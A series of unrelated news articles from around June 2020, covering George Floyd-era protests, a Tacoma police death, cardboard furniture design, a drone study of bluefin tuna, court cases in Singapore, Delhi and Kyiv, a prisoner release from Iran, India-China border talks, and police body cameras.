Attorney James Bible, the family's representative said that 'the harshest of realities is George Floyd is right here in Tacoma, and his name is Manny.' His sister, Monet Carter-Mixon, shared that 'I'm amplifying my brother's mouth from his grave. He's still screaming, 'Sis go get em', sis. Don't let up sis.' So I really need you to help me amplify his voice he needs to be heard.'

Read Also: Updated Autopsy Reveals George Floyd Had Coronavirus: So What Now? How Will It Affect the Investigation?

Ongoing Investigation

A few hours earlier, Brian Giordano, a close friend whom Ellis spoke to several times a day, said that they video chatted just two hours before the incident. He was excited about attending a church service where he played the drums and was very proud.

Mr. Giordano said that it was uncharacteristic for Manuel to act violently as the authorities described. He also said that his friend was 'always on the up-and-up about taking care of people...always uplifting.' Manuel was slowly getting his life back together by living in a clean and sober home.

'The information is all being put together,' Detective Troyer said. 'We expect to present it to the prosecutor at the end of this week or early next week.' Washington's Governor, Jay Inslee, assured that 'We will be pushing to make sure there is a full and complete investigation of that incident.'

Read Also: Forensic Pathologists Confessed Biggest Revelations While Performing Autopsy
- A man identified as Xavier Young decided to make history during streets protests by proposing to his girlfriend

- The proposal took place during black lives matter protests in Raleigh, North Carolina

- Without wasting time, the lady said yes and the crowd joined in the celebration

Our Manifesto: This is what YEN.com.gh believes in

As protests intensified in most states in the US, a couple made history while witnessing history.

In a video shared online, a man identified as Xavier Young proposed to his lover in the middle of the streets as protesters watched.

READ ALSO: Dad's post goes viral after hilarious, honest review on baby daughter's mini restaurant

The man is seen going down on one knee with a small white box on his hand as he holds his lover's hand.

Other protesters are seen gathering around the lovebirds with cameras to capture the adorable and memorable event.

READ ALSO: George Floyd: Black Americans killed in riots across US cities

Out of excitement the man throws his glasses down and picks on his lady's hand to place the ring in its rightful finger.

The protesters are heard shouting with joy saying: "She said yes".

Wasting no time, the man rose from the ground and quickly rushed to hug his fiancee sealing the moment with a passionate kiss. The proposal took place during George Floyd's protests in Raleigh, North Carolina.

The two lovebirds clearly observed COVID-19 measures during the peaceful protests as they had their masks on.

To symbolise the black lives matter campaign, the two were clad in black outfits but the lady's pants had white stripes on the side.

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Vadim Kibardin grew up in Omsk, Russia and graduated from the Ural State Academy of Architecture and Arts Industrial Design Department in 1996. Now living in Prague, Czech Republic, he produces high-end furniture made from cardboard.

Sleek chairs from designer Vadim Kibardin, made exclusively with recycled cardboard.

Dubbed The Black Collection, the designers newest series of chairs came about with multiple goals in mind. Firstly, Kibardin is passionate about sustainable design. He aims to always use materials he already has on hand, or that are otherwise readily available, to show that furniture can be made from almost anything. The cardboard he used for the Black Collection was mostly sourced from his own shop, Kibardin Design Studio, which also means that no additional transport emissions were released while gathering supplies. His other goal is to ruffle the feathers of the mainstream furniture manufacturing industry by reverting back to an era of unique, handmade pieces that stand out in terms of both functionality and personality.

Sleek chairs from designer Vadim Kibardin, made exclusively with recycled cardboard.

Sleek chairs from designer Vadim Kibardin, made exclusively with recycled cardboard.

On Kibardins website, youll find all the pieces that make up the Black Furniture Collection. Some are complete and ready for purchase, while others offer a design that can be made at request. Ever better, each piece is unique in the way of materials used and manufacturing approach, as the designer never uses molds to precisely replicate his pieces. Instead, his process involves forming stacks of flattened cardboard of varying thicknesses, and then shaping them into chairs. While it sounds like this might result in wobbly and questionable support, the durability of Kibardins designs has been widely recognized by leading museums, galleries, and competitions around the world.

In fact, the designers preference for paper-based furniture has become something of a signature style for him. And while he might sell many of same type of chair, you can always rest assured that your piece will be at least a little different from the rest. To further express this culmination of art and function, each chair is numbered with an authentic design signature from Kibardin himself.

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Sleek chairs from designer Vadim Kibardin, made exclusively with recycled cardboard.

Sleek chairs from designer Vadim Kibardin, made exclusively with recycled cardboard.

Kibardin sums up his feelings on the project by explaining that modern minimalism is a freedom from the trappings of consumer culture. It is a tool to rid yourself of lifes excess in favor of focusing on whats important, enhancing the meaning of what we choose to retain. Shifting from the produced to the personalized with environmental concerns about the throwaway culture.

Unlike standard product design, this type of output is characterized by artistic expression and limited production. To Kibardin, appealing to the masses and making sales are less important than sending a message of sustainability and simplification. In fact, this idea is so important to him that he launched a campaign of sorts at the start of the COVID-19 lockdown, encouraging kids and families to build their own paper furniture while they sheltered in place. Kibardin provided online patterns to spark creativity, but he also challenged the kids to create and share their own designs, too.

A stylish, colorful piece from Kibardin's

A stylish, colorful piece from Kibardin's

A stylish, colorful piece from Kibardin's

This Totem collection represents a creative artform that can be replicated in homes all around the world. Kibardin states, Take a look at my Totem furniture collection. It is essentially a condensed version of my vision, which transcends trends by being functional as a serial product and handmade piece of art. I focus on construction and delivering key looks, without the styling and theatrics of a show. I can bring you modern solutions at affordable prices, just collect paper and cardboard packaging, download patterns and manuals, and produce it with your kids.
Researchers have used an unmanned aerial system (or drone) to gather data on schooling juvenile Atlantic bluefin tuna in the Gulf of Maine.

This pilot study tested whether a drone could keep up with the tuna while also taking photographs that captured physical details of this fast-moving fish. The drone was equipped with a high-resolution digital still image camera. Results show that drones can capture images of both individual fish and schools. They may be a useful tool for remotely monitoring behavior and body conditions of the elusive fish.

Individual fish lengths and widths, and the distance between fish near the sea surface, were measured to less than a centimeter of precision. We used an APH-22, a battery-powered, six-rotor drone. The pilot study was conducted in the Atlantic bluefin tuna's foraging grounds northeast of Cape Cod in the southern Gulf of Maine.

"Multi-rotor unmanned aerial systems won't replace shipboard surveys or the reliance on manned aircraft to cover a large area," said Mike Jech, an acoustics researcher at the Northeast Fisheries Science Center in Woods Hole, Massachusetts and lead author of the study. "They have a limited flight range due to battery power and can only collect data in bursts. Despite some limitations, they will be invaluable for collecting remote high-resolution images that can provide data at the accuracy and precision needed by managers for growth and ecosystem models of Atlantic bluefin tuna."

Results from the APH-22 study were published in March 2020 in the Journal of Unmanned Vehicle Systems. Researchers conducted their work in 2015. They then compared their study results to values in published data collected in the same general area. They also compared it to recreational landings data collected through NOAA Fisheries' Marine Recreational Information Program.

Atlantic bluefin tuna is a commercially and ecologically important fish. The population size in the western Atlantic Ocean is unknown. Fishery managers need biological data about this population, but it is hard to get. Highly migratory species like Atlantic bluefin tuna often move faster than the vessels trying to sample them. The tuna are distributed across large areas, and can be found from the sea surface to hundreds of feet deep.

Sampling with traditional gear -- nets and trawls -- is ineffective. Acoustical methods are useful but limited to sampling directly below a seagoing vessel with echosounders or within range of horizontal sonar.

It is also difficult to estimate the number of tuna in a school from an airplane. Both fish availability and perception biases introduced by observers can affect results. Estimates of abundance and size of individuals within a school are hard to independently verify.

Taking precision measurements of animals that are in constant motion near the surface proved easier with a drone that is lightweight, portable, and agile in flight. It can carry a high-quality digital still camera, and be deployed quickly from a small fishing boat.

Short flight times limit a drone's ability to survey large areas. However, they can provide two-dimensional images of the shape of a fish school and data to count specific individuals just below the ocean surface.

The APH-22 system has been tested and evaluated for measuring other marine animals. It's been used in a number of environments -- from Antarctica to the Pacific Ocean -- prior to its use in the northwest Atlantic Ocean. Previous studies estimated the abundance and size of penguins and leopard seals, and the size and identity of individual killer whales.

"The platform is ideal for accurately measuring fish length, width, and the distance between individuals in a school when you apply calibration settings and performance measures," Jech said. "We were able to locate the hexacopter in three-dimensional space and monitor its orientation to obtain images with a resolution that allowed us to make measurements of individual fish."

As new unmanned aerial systems are developed, their use to remotely survey Atlantic bluefin tuna and other animals at the sea surface will evolve. It may minimize the reliance on manned aircraft or supplement shipboard surveys.

The International Commission for the Conservation of Atlantic Tunas governs tuna fishing. It is entrusted to monitor and manage tuna and tuna-like species in the Atlantic Ocean and adjacent seas. NOAA Fisheries manages the Atlantic bluefin tuna fishery in the United States and sets regulations for the U.S. fishery based on conservation and management recommendations from the international commission.

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Photo from Getty Images

SINGAPORE  A National University of Singapore (NUS) student was on Friday (5 June) charged with filming two women showering in a toilet of a residential building on campus.

Singaporean Jonathan Angga Dharmawan Jie, 23, was charged with four counts of insulting the modesty of women by filming the victims showering in the wee hours of the morning on 28 August last year in a residence in University Town. He filmed these women, who cannot be named due to a court gag order, at around 12.25am and 4.11am respectively.

Angga also faces one count each of criminal trespass and of possessing an obscene film.

NUS imposed a suspension on Angga beginning from 30 October last year after it held an internal disciplinary process. The suspension will take effect until the end of the academic year on 7 May 2022. Anggas academic transcript will hold a notation of the period of suspension.

He has been ordered by NUS to undergo mandatory counselling, supervised community service, as well as rehabilitation and reconciliation sessions with a facilitator.

After serving his suspension, Angga will need to be certified fit to return to campus by the University Health Centre before he can resume his studies.

In response to queries by Yahoo News Singapore, an NUS spokesperson said that the university was alerted to the allegations of voyeurism in August last year.

We activated the NUS Victim Care Unit to provide immediate care and support to the two victims while internal investigations were conducted, said the spokesperson.

Jonathan is not allowed to be in contact with the two victims. He has also been barred from all campus premises during the period of suspension, added the spokesperson.

Angga will return to court on 26 June.

If convicted on insulting the modesty of a woman, he faces up to a years jail, a fine or both. If convicted of criminal trespass, he faces up to three months jail and/or a maximum fine of $1,500.

If found guilty of possessing an obscene film, he can be jailed up to six months and/or fined up to $20,000.

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The Law Offices of Frank R. Cruz Announces Investigation on Behalf of Contura Energy, Inc. Investors (CTRA)

The Law Offices of Frank R. Cruz is investigating potential claims against the board of directors of Contura Energy, Inc. ("Contura" or the "Company") (NYSE: CTRA) whether the board breached its fiduciary duties to shareholders.

If you are a shareholder, click here to participate.







Follow us for updates on Twitter (News - Alert): twitter.com/FRC_LAW.

If you own Contura shares and wish to discuss this matter with us, or have any questions concerning your rights and interests with regards to this matter, please contact Frank R. Cruz, of The Law Offices of Frank R. Cruz, 1999 Avenue of the Stars, Suite 1100, Los Angeles, California 90067 at 310-914-5007, by email to [email protected], or visit our website at www.frankcruzlaw.com. If you inquire by email please include your mailing address, telephone number and number of shares purchased.

This press release may be considered Attorney Advertising in some jurisdictions under the applicable law and ethical rules.

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Linkedin Humeyra Pamuk and Mark Hosenball (Reuters) Washington, United States  Fri, June 5, 2020 07:05 595 fc6853813033f564188675f8bdc3e5a3 2 World Iran,Iran-US,prisoners,release,nuclear-pact Free

A US Navy veteran who said he contracted the coronavirus while detained in Iran since 2018 was freed on Thursday as part of a deal in which the United States allowed an Iranian-American physician to visit Iran, his lawyer and a US official said.

Iran's decision to release American Michael White and the US move to let dual citizen Majid Taheri visit Iran, both of which were confirmed by Iran's foreign minister, appeared to be a rare instance of US-Iranian cooperation.

A White House spokesman expressed hope that White's release could lead to an opening in the bitter relationship.

The two nations are at odds on a host of issues including the US decision to abandon a deal to curb Iran's nuclear program and impose crippling economic sanctions on Tehran, as well as their jockeying for influence across the Middle East.

White had been released from an Iranian prison in mid-March after being sentenced in 2019 for an unspecified offense, but had remained in Iran in the custody of Switzerland, which represents US interests in Iran since the two cut diplomatic ties shortly after Iran's 1979 Islamic Revolution.

"I'm improving. I did contract coronavirus in the Mashhad central prison prior to going out on furlough. But I'm recovering pretty decently," White told Fox News Channel on the tarmac of Zurich airport, adding he had been "in poor shape."

"I feel all right, and happy to be back," White said, thanking President Donald Trump "for his efforts both diplomatically and otherwise, making America great again." He also thanked the Swiss Embassy in Tehran.

"I just got off the phone with former American hostage Michael White, who is now in Zurich after being released from Iran. He will be on a US plane shortly, and is COMING HOME," Trump said on Twitter.

"Thank you to Iran, it shows a deal is possible!" Trump added.

The Swiss Foreign Ministry confirmed it played a role in what it called "the humanitarian gesture" on White and Taheri and said it "stands ready" to help further.

The negotiations to get White released followed several months of discussions with Iran, said a person familiar with the matter, speaking on condition of anonymity.

Taheri's lawyer said Taheri would visit family in Iran and seek medical treatment before returning to the United States. He has pleaded guilty to violating US sanctions, the lawyer added.

Rare bright spot

The deal is a rare bright spot in an otherwise deeply frayed relationship that has grown more hostile since Trump took office in 2017.

Asked whether White's release could be an opening in terms of US-Iranian relations, White House spokesman Hogan Gidley told Fox News Channel: "Hopefully so."

US-Iranian relations have been bitter since the Islamic Revolution toppled the US-backed Shah of Iran in 1979 and Iranian revolutionaries stormed the US Embassy in Tehran and held 52 Americans hostage for 444 days.

Tensions flared after Trump pulled out of the 2015 Iran nuclear deal in 2018 and reimposed US sanctions, and worsened after a Jan. 3 US drone strike in Iraq killed Qassem Soleimani, the head of Iran's elite Quds Force.

Both nations have called for the release of prisoners due to the novel coronavirus outbreak. Iran is one of the worst-hit countries in the Middle East, while the United States has reported the world's highest number of deaths and infections.

White's release came two days after the United States deported Sirous Asgari, an Iranian professor imprisoned in the United States despite being acquitted on charges of stealing trade secrets. Iranian media reported his arrival on Wednesday.

The US State Department and Iranian officials have denied Asgari was part of a swap with White or anyone else, calling his case separate.

Last December, Washington and Tehran worked on a prisoner exchange in which Iran freed US citizen Xiyue Wang, who had been held for three years on spying charges, and the United States freed Iranian Massoud Soleimani, who faced charges of violating US sanctions on Iran.
TCN News

Delhis Patiala House court on Thursday denied bail to JMI activist Safoora Zargar on grounds that prima facie evidence was found to prove there was a conspiracy.

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Safoora, who is three months pregnant, was arrested by Special Cell of Delhi Police on April 10 for allegedly conspiring with other youth activists for inciting communal riots in northeast Delhi in February. Her lawyers Ritesh Dhar Dubey and Trideep Pais stated that false narrative was being created by the authorities to intimidate innocent students who have been involved in mass peaceful protests CAA. Further, they told the court that the accusation against Safoora of inflammatory speech on February 23 is inaccurate as she had visited Chand Bagh briefly, much before the rioting had started. Another speech she had given on February 23 at Khureji, wasnt inflammatory or provocative at all.

However, additional Sessions Judge at the Patiala court, Dharmendra Rana, dismissed the plea saying he did not find merits in the bail application. The Special Cell of Delhi Police additionally opposed that Safoora was involved in making inflammatory speeches and was part of a conspiracy to instigate communal violence, which had been planned weeks ago. The police also accused other student activists from JMI of hatching conspiracies through Citizenship Amendment Act protests during the same time, in various parts of Delhi, citing that in mid-February, the anti-CAA protestors were allegedly blocking the road near Jafrabad Metro station where the majority of the participants were women. According to them, this led to the violence between pro and anti-CCA protesters in February leading to the Delhi violence.

However, Safooras family was hopeful that the court would give consideration to her health and arrange assistance for the same at Tihar where she is currently lodged. Safooras legal aid has added that because of COVID-19 threat and her pregnancy, legal remedies would be requested for her soon.
After days of rallies expressing long-stifled rage, an unfocused San Antonio movement born of anger over the police-inflicted death of a black man in Minneapolis evolved Thursday into loose organization, written demands of city leaders and a spontaneous meeting with Mayor Ron Nirenberg.

Hold me accountable, Nirenberg told a crowd on the steps of the Bexar County Courthouse in the late afternoon. Put that responsibility on us. Nobody else. Im the mayor of this goddamn city and were going to make change together.

Dozens of sweaty marchers applauded the impromptu remarks, recorded by a flock of cellphones. But some also shouted that he represented the intractable status quo they were there to dismantle.

The mayor offered himself as the one responsible for a city whose police officers have been accused of wielding excessive force against minorities, but the boisterous-yet-peaceful crowd didnt seem bent on blaming him for any specific event.

Jerry Lara, Staff / San Antonio Express-News

We all make mistakes, he said at one point, including those on the side of the protesters and those in uniform.

Pharaoh Clark, 32, an East Side activist who had worked with Nirenberg to get a statue memorializing our Confederate dead removed from Travis Park in 2017, met briefly with the mayor and presented a list of demands that seemed to have the approval of informal leaders among the group.

Among the 10 items on the list, which Clark had been circulating since Saturday to heal the bitter divides in our city, were calls for an independent civilian review board with complete access to police complaints, and power to issue disciplinary actions against violators; a minimum payment of $250,000 by the city to the family of any unarmed civilian killed unlawfully by police; an end to most no-knock warrants; and better screening of police applicants for racist attitudes.

The crowd Clark moved through was, like himself, young. Many had not been born when the 1992 acquittal of Los Angeles police officers charged in the beating of an unarmed African American named Rodney King sparked days of deadly riots and intense scrutiny of that departments policies.

They were way more emotional than before, Clark told a reporter by email, contrasting Thursdays crowd to those stirred by previous controversial police incidents in San Antonio. This is not dying until a real solution is formed.

One of the local organizers of the Black Lives Matter protests, Lexi Qaiyyim, 24, an aspiring model who has been a key voice at the daily rallies here that began Saturday, seemed gratified city officials were willing to meet and talk.

But if theyre not actually acting on those (statements), then, you know, its not really a change, she said.

Qaiyyim said fear of retaliation from peers and superiors within police departments needs to change, and said she wanted more psychological evaluations of officers to help find and remove racists.

A spokesman for Police Chief William McManus said he met briefly with some rally organizers and had no reservations about meeting with Black Lives Matter leaders or others interested in constructive dialogue.

Qaiyyim said another rally would be planned for today at 3 p.m. at police headquarters.

Kin Man Hui, San Antonio Express-News / Staff photographer

Some channeled their frustration toward accessing the ballot box. So many people were taking advantage of an ad hoc voter registration area set up toward the back of the protest zone near the courthouse that volunteers ran out of pens and had to wait for others to finish their registration forms.

One first-ever registrant, Isaiah Adams, 23, said that in school, he never was educated in the importance of voting.

But now Ive educated myself and I see how vital it is to the future and to making this city the type of city we want to live in, said Adams, a writer. So, Im definitely voting in November.

Army veteran Arturo Perez said he brought his daughter to see the protest because these people feel so much hope and so much pain that you cant express that in writing or seeing it on TV.

People are starting to wake up and its incredible, he added. We need people who dont care about the different races, there are too many prejudices in our police department ... we have to fix the division between us.

His hope is that Americans can treat each other with the same unity as those in the military.

We all wore the same green uniform and our blood was all the same, Perez said. It didnt matter what color you were because we needed each other, we loved each other, we were in it together.

Thalia Esparza, 26, walked around holding sprigs of burning sage  a Native American ritual believed to help cleanse a person or location.

I came here to spread good energy, good vibes and love, she said, adding that she thought police officers dont get enough training.

Josie Norris, The San Antonio Express-News / Staff Photographer

Police go to school for only a few weeks, then they get a badge and think they can do whatever they want, she said. Thats not right.

SAPD spokesman Jesse Salame said the training academy actually lasts 32 weeks, and upon graduation the recruit has an additional 14 weeks of training and is put on a probationary status for a year.

The San Antonio Criminal Defense Lawyers Association announced during the day that those who believe they might have been unlawfully arrested or denied their rights by police during the rallies could contact the group to see if they qualify for free legal help.

Back at police headquarters, there was a brief pause as people passed around snacks. Energy energy energy! they called amid the grabbing of Cheetos, crackers and granola bars.

When the speakers resumed, they brought attention to Justin Howell, the 20-year-old university student critically injured when he struck his head falling after being hit by a beanbag round fired by Austin police, according to that departments chief. Howell graduated from San Antonios Communication Arts High School in 2018.

They held a moment of silence for him. At another juncture, protesters kneeled silently for nine minutes, the amount of time, according to video and court documents, that Minneapolis police officer Derek Chauvin, who is white, pressed his knee into George Floyds neck before the former Houston resident died May 25.

Chauvin, 44, has been charged with second-degree murder.

About 100 remained at Travis Park after Shamir Mims, a native San Antonian, began giving what was billed as a lesson in black history, from the Nat Turner revolt to Martin Luther Kings lessons of nonviolence and self-worth.

Bicycle police pointedly warned them of the time, and as the 9 p.m.curfew passed, several police cruisers parked along the park perimeter, the speeches continued, with chants of No justice, no peace and United we stand, divided we fall occasionally breaking out. Then the crowd began to leave.

What will come of the weeks demonstrations played on many in the crowd as they dispersed into side streets  on foot, bicycle or skateboard. Some might have thought of Angela Davis, the former Black Panther icon, UCLA professor and at one point the FBIs most-wanted fugitive before she was acquitted of murder in 1972. She had talked about this kind of moment in an interview published in 2006.

Everyone wants some guarantee that what they do will have palpable results, said Davis, now 76. I think the best way to figure out what might work is simply to do it, regardless of the potential mistakes one might make.

Bruce Selcraig is a staff writer in the San Antonio and Bexar County area. To read more from Bruce, become a subscriber. BSelcraig@express-news.net
New Delhi: The East Coast Railway has decided to sponsor gifts or cash to the children born on board Shramik Special trains on its network in an effort to support the new mothers, officials said.

The effort will be completely voluntary by officers of the zone and will either be in the form of cash or gifts. The first such sponsorship came from the general manager of the zone, Vidya Bhushan himself who sent Rs 5,000 to the mother of a child born on Friday, which was the third child born in the zone so far.

Since May 1, around 37 children have been born on board Shramik Special trains and on railway premises.

On Friday, 19-year-old Meena Kumbhar delivered a baby boy on the train. A railway doctor in Titilagarh attended and examined the woman and the baby and found them to be in good condition. Subsequently, they were shifted to the government hospital at Titilagarh on the advice of the medical authorities of Balangir district, an EcoR spokesperson said.

This is the third baby born in Shramik Special train in East Coast Railway jurisdiction and also in Odisha. All of them have been shifted to government hospitals. Of the three babies, two have been born at Titilagarh and one at Balangir.

"East Coast Railway General Manager Vidya Bhushan today made an announcement that ECoR officials, on personal and voluntary sponsorship basis, will sponsor a gift coupon to the new born babies in ECoR jurisdiction.

"The GM himself sent a gift amount of Rs 5,000 for the baby. Other senior officials have volunteered to sponsor gift items in subsequent cases, if any, of babies born in Shramik Special Trains," the spokesperson told PTI.

Earlier, a migrant woman, the native of a village in Balangir district, had given birth to a baby boy on a 'Shramik Special' train at Balangir on May 22, another woman returning home in Chhattisgarh had delivered a baby girl on a train at Titilagarh on May 24.
A man who spent nearly three decades behind bars, most of them on death row, after he was convicted at his second trial of killing a 4-year-old girl in Philadelphia was released Friday after prosecutors concluded he very likely did not do it.
A day ahead of crucial talks between Indian and Chinese army commanders on the stand-off along the Line of Actual Control (LAC), the two sides on Friday agreed on not allowing their differences to escalate into disputes while respecting each others concerns.

In the first formal diplomatic meeting between the two sides since tensions flared along the LAC, joint secretary (East Asia) Naveen Srivastava of the external affairs ministry held talks with Wu Jianghao, director general in Chinas foreign ministry, through video conference and reviewed bilateral relations, including current developments, according to a readout from the Indian side.

Statements issued in New Delhi and Beijing referred to not allowing differences to become disputes. The Indian statement spoke about respecting each others sensitivities and concerns, while the Chinese sides readout said the two sides should not pose a threat to each other and should enhance strategic mutual trust.

People familiar with developments said on condition of anonymity that Fridays meeting was meant to set the stage for the talks on June 6 between the general officer commanding of Leh-based 14 Corps, Lt Gen Harinder Singh, and his Chinese counterpart.

Tensions built up along the LAC following violent clashes between hundreds of Indian and Chinese troops in the Sikkim and Ladakh sectors early last month. Army officers of the two sides have held several meetings along the disputed border but have been unable to break the impasse.

During Fridays meeting, both sides agreed that in accordance with the guidance provided by their leadership, they should handle their differences through peaceful discussion bearing in mind the importance of respecting each others sensitivities, concerns and aspirations and not allow them to become disputes, the external affairs ministry said in a statement without giving details.

The two sides recalled the consensus reached by the leaders of the two countries, that peaceful, stable and balanced relations between India and China will be a positive factor for stability in the current global situation.

This was a reference to the guidance from Prime Minister Narendra Modi and President Xi Jinping to the militaries of both countries to maintain peace and tranquillity along the border after their first informal summit at Wuhan in 2018. That summit was organised to put ties back on an even keel after the 73-day standoff at Doklam in 2017.

A statement issued by Chinas foreign ministry in Mandarin said the two sides agreed that under the strategic guidance of their leaders, they should not pose a threat to each other, should present opportunities for development and not allow their differences to escalate into disputes. The statement called for the two sides to properly manage and control differences.

The statement also called for enhancing strategic mutual trust, and deepening mutually beneficial cooperation and promoting the celebrations marking the 70th anniversary of diplomatic ties to ensure that the giant ship of China-India relations always moves forward in the right direction.

The officials of the two sides also exchanged views on the challenge posed by the Covid-19 pandemic, cooperation at different multilateral forums.

The Chinese statement further said the two countries should deepen cooperation in fighting epidemics, oppose the politicisation of epidemics, support the World Health Organization (WHO) and promote the building of public health systems.

They should also uphold and promote multilateralism and oppose unilateralism, protectionism and hegemonism, and jointly safeguard international fairness and justice and the common interests of developing countries, the Chinese side added.

India and China have been in touch through diplomatic and military channels in New Delhi and Beijing over the past few weeks to address the border tensions. Joint secretary Srivastava has been involved in these contacts, the people cited above said.

The army commanders are set to met on June 6, almost a month after tensions between India and China flared along the disputed border and took bilateral ties to a new low.

India has dismissed Chinas contention that its troops were hindering the activities of Chinese troops along the LAC, and has accused Chinese forces of hindering patrols on the Indian side. The Indian government has also made it clear that it wont allow any change in the status quo along the LAC and that it will tackle the prevailing situation with strength and restraint.

Amitabh Mathur, a former special secretary in the Research and Analysis Wing (RAW), said there was nothing new in the two sides talking about not allowing differences to become disputes. Hasnt this line been said before? It has become a sort of cliche, he said.

While they may say they dont want differences to become disputes, we have a dispute on our hand. The defence minister has said that the Chinese have come in, and in large numbers. We have to put an end to it somewhere. If the Chinese agree to go back, why did they come in? The clues to that will be in any possible terms of settlement between the two sides, he added.
Turkey's President Recep Tayyip Erdogan canceled plans to reimpose lockdowns in major cities to avoid further damage to the economy.

Erdogan scrapped the proposal even after the number of coronavirus cases jumped by almost 1,000 on Thursday, compared with about 700 in previous days. His announcement came about 12 hours after the Interior Ministry unexpectedly announced curfews would resume in Istanbul, Ankara and 13 other municipalities this weekend.

"It has been understood that the decision would lead to some social and economic consequences," Erdogan said in a Twitter post Friday.

Turkey reopened restaurants, beaches and ended travel restrictions June 1 to restore some measure of mobility to its population of 83 million who've been subjected to curfews and lockdowns since March. The International Monetary Fund forecasts Turkey's economy may shrink 5% this year as a result of measures taken to contain the spread of the coronavirus pandemic.

Erdogan is "taking a risk here," Timothy Ash, a strategist at BlueBay Asset Management in London, said in a research note, drawing a comparison with increased infections in Ukraine and Kazakhstan, where lockdowns have also been eased.

"Lockdowns had been reimposed due to fears over rising infections, but Erdogan seems to have overridden these due to concerns over the economy," Ash said.

The government is focused on reviving the economy even if it comes at the expense of fiscal discipline, Treasury and Finance Minister Berat Albayrak told reporters Friday, according to Bloomberg HT. The state's current priority is to shield employment and sectors that are affected by the pandemic, with the Labor Ministry working on an employment package, he said.

Total fiscal support to contain the economic fallout from the coronavirus has reached 5% of Turkey's gross domestic, or about $750 billion, Albayrak said.

A relatively low level of public debt gives the authorities some room to contain the economic disruptions from the pandemic. As of 2019, the government's debt stock stood at 33.1% of GDP. BNP Paribas SA estimates that government debt-to-GDP in emerging markets will jump by about 8 percentage points to an average of 50% in 2020.

The government still faces fiscal constraints. Turkey posted its largest budget deficit in about a decade last year. The shortfall is widening as measures to contain the pandemic paralyzed economic activity, while spending jumped and tax deferrals chipped away at government revenue.

The number of confirmed coronavirus cases rose by 988 on Thursday to 167,410, according to data announced by Health Minister Fahrettin Koca. Fatalities rose by 21 to 4,630.
SAN FRANCISCO, June 3 (Xinhua) -- San Francisco Mayor London Breed announced on Wednesday that the city will lift the curfew at 5 a.m. local time (1200 GMT) on Thursday.

"Starting tomorrow morning at 5 a.m. we will be lifting the curfew in San Francisco," Breed said, adding as the overwhelming majority of people out protesting are now doing peacefully, "we trust that will continue."

She said the protests in the city and across the United States are for an important cause and San Francisco will continue to facilitate peaceful demonstrations.

"I am Mayor of San Francisco, but I am a black woman first. I know what it is like to experience injustice, and as someone who grew up here I am well aware that we have our own legacy of racism to reckon with and rectify," she noted, expressing the hope to see San Francisco residents continue to advocate for real change across the country in the future.

The curfew was implemented from Sunday night following chaos in the city. Numerous fires were lit and heavy vandalism and looting took place in the Downtown, China Town, Union Square and the SoMa district on May 30 as protests over the death of African American George Floyd in Minneapolis raged on in the Bay Area region.
A court ruling on the illegality of an announcement on the arrest of Konstantin Zhevago in absentia, who is not on the international wanted list, confirms the illegality of putting Oleg Bakhmatyuk on the wanted list under similar circumstances.

This is reported by Ukrainian News.

On May 25, 2020, Kyiv's Court of Appeals revoked a court ruling to arrest and remand in custody Konstantin Zhevago, which was delivered by Kyiv's Pechersky District Court in early December 2019, because the defendant was not on the international wanted list.

"The appellate court's ruling has established that Zhevago was not and is not on the international wanted list, was not and is not hiding from the pretrial investigation and the court, and also that there are no legal grounds for remanding Zhevago in custody," Zhevago's press service said.

"Under similar circumstances, the High Anti-Corruption Court (HACC) ruled to detain in absentia businessman Oleg Bakhmatyuk, who is also not on the international wanted list. The appeals court's ruling in the Zhevago case also confirms the illegality of the HACC's decision dated May 28 this year against Oleg Bakhmatyuk, as stated by his lawyers referring to the norms of the current legislation," the media outlet wrote.

Read alsoHigh Anti-Corruption Court repeals lower court's move to arrest ex-health minister Bohatyriova

Moreover, the HACC's Appeals Chamber ruled on the cancellation of the arrest of former Health Minister Raisa Bohatyriova in absentia. The rationale of the ruling says that when delivering a suspicion notice to Bohatyriova, the Kyiv Prosecutor's Office grossly violated the Code of Criminal Procedure.

"It must be mentioned that a similar violation was committed during the unlawful delivery of a suspicion notice to Bakhmatyuk, which was stressed by Bakhmatyuk's lawyers. Thus, the HACC delivered two directly opposite rulings in two identical cases within one week, which cannot but arouse suspicion that it is politically motivated," the media added.

As was earlier reported, court rulings in cases against ex-officials of Viktor Yanukovych's presidency  Andriy Kliuyev and Oleksandr Klymenko  also banned their arrest in absentia over to the fact that they are not on the international wanted list. The only decision on arrest in absentia taken under similar circumstances concerns Oleg Bakhmatyuk. His lawyers said that such a ruling had been taken under pressure from Director of the National Anti-corruption Bureau of Ukraine (NABU) Artem Sytnyk, who has a conflict of interest in this matter.
SPRINGFIELD  The first dozen city police and supervisors are now outfitted with body-worn cameras and the Springfield Police Department expects to have its entire sworn staff of nearly 500 officers trained in their use by the end of summer.

The rollout comes during the coronavirus pandemic and its disruptions to city government and commerce.

I am happy to see the fruits of our labor paying off as our Springfield Police Department begins to deploy and utilize our body-worn cameras. From the beginning, I strongly believe that this program will help our efforts to assure best practices, improve our policies and practices, while taking advantage of new technology," Mayor Domenic J. Sarno said in a statement.

The Springfield Police Department is believed to be the only department launching a body-worn camera program during the COVID-19 pandemic, according to a news release from the department.

Sarno and department brass had been scheduled to demonstrate the cameras for reporters at a Friday morning news conference  but the event was called off at the last moment.

The new cameras also come at a time when society is questioning the roll of police and the effectiveness of police oversight nationwide following the death of George Floyd in Minneapolis police custody.

The cameras do not have it technological enhancements such as facial recognition or night vision. Facial recognition, which experts say tends to confuse the identities of women and minorities, has been particularly controversial the city has banned its use at the request of city counselors and over the objections of the Sarno administration and police.

The program is expected to cost between $2.5 million and $3 million. Springfield received a $1.1 million grant from the U.S. Department of Justice to help pay it and has set aside $1.7 million in city funds raised through a bond and the general fund.

The recorded camera footage will provide an officers perspective; it will not have technological enhancements such as facial recognition or night vision. Also, police officers do not see or hear everything that body-worn cameras records while they are responding to a call.

All uniformed officers will wear body-worn cameras, except for Quebec officers when they are inside a school, due to privacy concerns.

The School department does have cameras inside its schools.

The body-worn cameras will always be on during an officers shift. Footage is recorded and saved from 30 seconds prior to when a camera is activated. Audio recording begins at the point of activation.

The body-worn cameras are automatically activated when an officer turns on the cruisers emergency lights emergency lights via a Bluetooth connection or manually at the officers discretion.

The recording will be prohibited including locations where there is a reasonable expectation of privacy, confidential informants, medical calls and when an officer does not have permission to record within a residence without a warrant.

City police spokesman Ryan Walsh said requests for footage from media an public will go through a link on the citys website, just as those requests are processed now.

But footage will be considered evidence, not merely a public record, and will be harder to get.

Footage will be stored on a cloud computing system for at least one year but three years for misdemeanors, five years for felonies and indefinitely for homicides, Walsh said.

